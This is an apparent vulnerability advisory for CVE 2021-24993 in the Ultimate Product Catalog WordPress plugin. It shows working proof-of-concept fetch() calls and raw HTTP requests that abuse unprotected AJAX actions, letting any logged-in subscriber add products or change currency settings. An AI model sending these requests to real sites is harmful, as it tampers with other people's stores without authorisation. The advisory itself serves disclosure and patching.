Ultimate Product Catalog < 5.0.26 – Subscriber+ Arbitrary Product Creation & Settings Update | CVE 2021-24993

Description

The plugin does not have authorisation and CSRF checks in some AJAX actions, which could allow any authenticated users, such as subscriber to call them and add arbitrary products, or change the plugin's settings for example

Proof of Concept

To add a product:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=ewd_upcp_welcome_add_product&product_name=Name&product_description=Description&product_price=100",
  "method": "POST",
  "credentials": "include"
});


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 103
Connection: close
Cookie: [any authenticated user]

action=ewd_upcp_welcome_add_product&product_name=Name&product_description=Description&product_price=100

To change the currency settings:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=ewd_upcp_welcome_set_options&currency_symbol=aaaaaaaa",
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 60
Connection: close
Cookie: [any authenticated user]

action=ewd_upcp_welcome_set_options&currency_symbol=aaaaaaaa